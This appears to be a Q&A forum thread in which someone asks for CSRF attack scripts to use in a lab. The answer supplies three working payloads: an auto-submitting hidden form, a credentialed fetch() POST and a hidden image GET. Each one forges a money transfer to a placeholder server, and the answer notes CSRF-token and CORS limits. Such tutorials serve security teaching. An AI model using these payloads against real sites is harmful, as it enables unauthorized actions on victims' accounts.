How can I use JavaScript to perform CSRF attacks in a controlled ethical hacking environment

Question

In a controlled lab environment, I’m experimenting with CSRF (Cross-Site Request Forgery) attacks to better understand the vulnerabilities and defenses against it. I know CSRF leverages the trust between a browser and a server to perform unauthorized actions.

Could someone provide guidance on creating a basic CSRF script in JavaScript for testing purposes? I’d like to know more about how this attack functions technically, including any limitations or practical aspects of simulating it ethically.

Answer 1

In order to perform a CSRF attack using JavaScript, you can set set up a basic simulation by making unauthorized requests to a target server that trusts an unauthorized browser.

Here's an example of how you can approach a CSRF attack using JavaScript:

1. Crafting a Malicious Form Request

We'll create a form submission that's automatically triggered in the browser, and sends a request to the target server.

 <form id="csrf-form" action="http://target-server.com/endpoint" method="POST">
  <input type="hidden" name="transferAmount" value="1000">
  <input type="hidden" name="account" value="12345">
</form>
<script>
  document.getElementById('csrf-form').submit();
</script>

• Now, when we run this script on a malicious site, it automatically submits a form to http://target-server.com/endpoint, which could trigger an action without the user's knowledge.
• But this will only work if the target server doesn't require CSRF tokens or CORS restrictions that prevent cross-site requests.

2. Using JavaScript Fetch

If the server has permissive CORS headers, we could simulate CSRF with fetch():

fetch('http://target-server.com/endpoint', {
  method: 'POST',
  credentials: 'include', // Sends cookies with the request
  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
  body: 'transferAmount=1000&account=12345'
});

• This JavaScript code will send a POST request to http://target-server.com/endpoint and include the user's cookies with credentials: 'include'.
• If the server lacks CSRF protection, it may trust the request as if it originated from the user.

3. Simulating a GET Request

If only GET requests are allowed, then we can add sensitive information directly to the URL query parameters:

<img src="http://target-server.com/endpoint?transferAmount=1000&account=12345" style="display:none;">

This will embed an image tag with the target URL and trigger a GET request.

Comments

This explanation is really clear and helpful for understanding how CSRF attacks work in a controlled environment. The examples with forms and fetch requests are excellent for demonstration purposes!